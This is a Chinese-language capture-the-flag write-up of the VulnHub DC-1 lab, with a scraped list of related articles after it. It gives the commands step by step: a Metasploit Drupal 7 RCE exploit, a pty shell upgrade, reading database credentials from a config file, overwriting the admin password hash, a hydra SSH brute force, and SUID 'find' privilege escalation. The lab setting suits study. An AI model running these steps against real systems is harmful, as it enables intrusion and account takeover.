DC-1

DC-1 是一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。

它旨在为初学者提供挑战,但它的难易程度取决于您的技能和知识,以及您的学习能力。

要成功完成此挑战,您将需要 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

获得 root 的方法有多种,我提供了一些flag,其中包含为初学者提供的线索。

总共有五个标志,但最终目的是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 用户即可执行此操作,但是,您将需要 root 用户权限。

根据您的技能水平,您可以跳过查找这些标志中的大部分并直接获取 root 权限。

初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该足以获得完成这一挑战所需的信息。

信息收集

nmap 192.168.157.0/24	//扫描网段
nmap -sV 192.168.157.142 //扫描版本详情

Drupal 7.x漏洞拿flag1

开放了80端口,那先访问网站

检测到是由使用PHP语言编写的开源内容管理系统Drupal搭建的,并且由Wappalyzer得知版本为7.X,所以直接使用searchsploit命令在漏洞库中搜索此版本是否有漏洞可以利用

searchsploit Drupal 7.X

有一个PHP远程代码执行的漏洞,直接用msf打

msfconsole
search Drupal 7.X
use 0
show options //查看参数设置
set RHOSTS 192.168.157.142
run

shell
#由于得到的不是一个完整的shell环境,所以我们所以pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'

得到flag1.txt

搜寻配置文件拿flag2

根据flag1的提示,去看CMS的config配置文件,Drupal7的配置文件为 sites/default/settings.php

cat sites/default/settings.php

得到flag2以及数据库信息

flag2提示爆破和目录扫描并不是唯一获得后台的方法(并且你需要访问权限),下面这些认证信息你如何使用)

修改密码进网站拿flag3

连接数据库

mysql -udbuser -pR0ck3t

show databases;
use drupaldb;
show tables;
select * from users;

查看数据表 (这里的test是我测试时注册的)

密码是加盐的,一般情况下难以破解,这里选择改密码的方式

首先生成自定密码的加盐哈希值。回到网站的目录下执行php scripts/password-hash.sh 密码命令生成

php scripts/password-hash.sh passwd

重新进入数据库修改密码,确认修改成功

update users set pass="$S$DgOmdbqyyWW6Du5QgThyTT1YoMlC5Pm.piv5Aprc9pejK74CobpC" where name='admin';

admin用户登录成功

在Dashboard得到flag3

查看目录拿flag4

passwdshadow/etc 下的目录

cat /etc/passwd
cat /etc/shadow

/etc/shadow无法查看,权限不够,在etc/passwd下发现目标靶机用户flag4

扩展思考

如何没有查看权限的话应该如何得到flag4

解决方法:

有/bin/bash ,考虑ssh连接

这里用 hydra 爆破flag4用户的密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.157.142 ssh -vV -f

-l: 登录的用户名,这里是flag4

/usr/share/john/password.lst: 要使用的密码字典文件路径

192.168.157.142: 目标主机IP

ssh: 要破解的服务,这里是ssh服务

-vV: 详细输出,显示详细的连接和破解过程

-f: 当找到可登录的密码后快速结束

提权拿flag5

查看是否具有root权限的命令

find / -perm -4000 2>/dev/null

发现find具有root权限

find -exec /bin/sh \;

提权成功,寻找flag文件

find / -name '*flag*.*'

得到flag5

简单总结

考察点较全面,思路顺畅,很有趣的一次体验,五个flag很有成就感

VulnHub_DC-1渗透流程的更多相关文章

  1. 『安全科普』WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  2. 【转】WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  3. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  7. metasploit 教程之基本参数和扫描

    前言 首先我也不知道我目前的水平适不适合学习msf. 在了解一些msf之后,反正就是挺想学的.就写博记录一下.如有错误的地方,欢迎各位大佬指正. 感激不尽.! 我理解的msf msf全程metaspl ...

  8. Metasploit 学习

    知识准备:CCNA/CCNP基础计算机知识框架:操作系统.汇编.数据库.网络.安全 木马.灰鸽子.口令破解.用后门拷贝电脑文件 渗透测试工程师 penetration test engineer &l ...

  9. Web安全工程师(进阶)课程表

    01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...

  10. 利用Axis2默认口令安全漏洞入侵WebService网站

    近期,在黑吧安全网上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展.黑吧安全网Axis2默认口令 ...

随机推荐

  1. 鸿蒙HarmonyOS实战-ArkUI事件(单一手势)

    一.单一手势 应用程序的手势操作是指在移动设备上使用手指或手势进行与应用程序交互的方式.手势操作可以包括点击.滑动.双击.捏合等动作,用于实现不同的功能和操作. HarmonyOS中常见的手势操作及其 ...

  2. cesium介绍和国内主要学习网站汇总

    Cesium官方网站 建议大家将Cesium官网的博客都读一遍,博客大概分为三类,主要是技术类,比如性能优化,调度算法等,一类是定期的新版本特性,能够了解Cesium新功能和新特性,还有一类是大事记, ...

  3. ECMAScript 语言规范每年都会进行一次更新,而备受期待的 ECMAScript 2024 将于 2024 年 6 月正式亮相。目前,ECMAScript 2024 的候选版本已经发布,为我们带来了一系列实用的新功能。

    Promise.withResolvers 使用 Promise.withResolvers() 关键的区别在于解决和拒绝函数现在与 Promise 本身处于同一作用域,而不是在执行器中被创建和一次性 ...

  4. width:100%与width:auto区别

    小知识 width:100%与width:auto区别 width:100% : 子元素的 content 撑满父元素的content,如果子元素还有 padding.border等属性,或者是在父元 ...

  5. C语言:使用链式栈检测txt文件中的括号匹配

    便捷目录 前言 本程序最终会完成的任务 栈的理解 代码运行过程的解释 说明 ==代码思想 (重要部分)== 全局变量和结构体代码 进栈:创建链表空间函数 出栈:删除链表空间函数 释放申请的链式栈空间 ...

  6. 5GC 关键技术之 SBA(基于服务的软件架构)

    目录 文章目录 目录 前文列表 5GC 的关键技术 SBA(基于服务的软件架构) 微服务架构 NF 的模块化 NF Service 的服务化 前文列表 <简述移动通信网络的演进之路> &l ...

  7. 【源码】蚁群算法TSP问题可视化

    ACO.Visualization项目 本项目演示蚁群算法求解旅行商问题的可视化过程,包括路径上的信息素浓度.蚁群的运动过程等.项目相关的代码:https://github.com/anycad/AC ...

  8. 如此丝滑的API设计,用起来真香

    分享是最有效的学习方式. 博客:https://blog.ktdaddy.com/ 故事 工位上,小猫一边撸着代码,一边吐槽着前人设计的接口. 如下: "我艹,货架模型明明和商品SKU模型是 ...

  9. webapi动态创建后台任务(使用排队的后台任务)

    很多时候我们都会使用后台定时任务,但有些任务不需要定时执行,只需要请求到来时执行一次,比如请求服务器到某个地方同步数据,但请求不需要等数据同步完成再响应.这时候就可以使用排队的后台任务. 基本原理是用 ...

  10. centos7系统的七个运行级别和设置默认运行级别

    一.系统七个运行级别概述 0 系统停机模式,系统默认运行级别不能设置为0,否则不能正常启动,机器关的 1 单用户模式,root权限,用于系统维护,禁止远程登陆,就像Windows下的安全模式登录 2 ...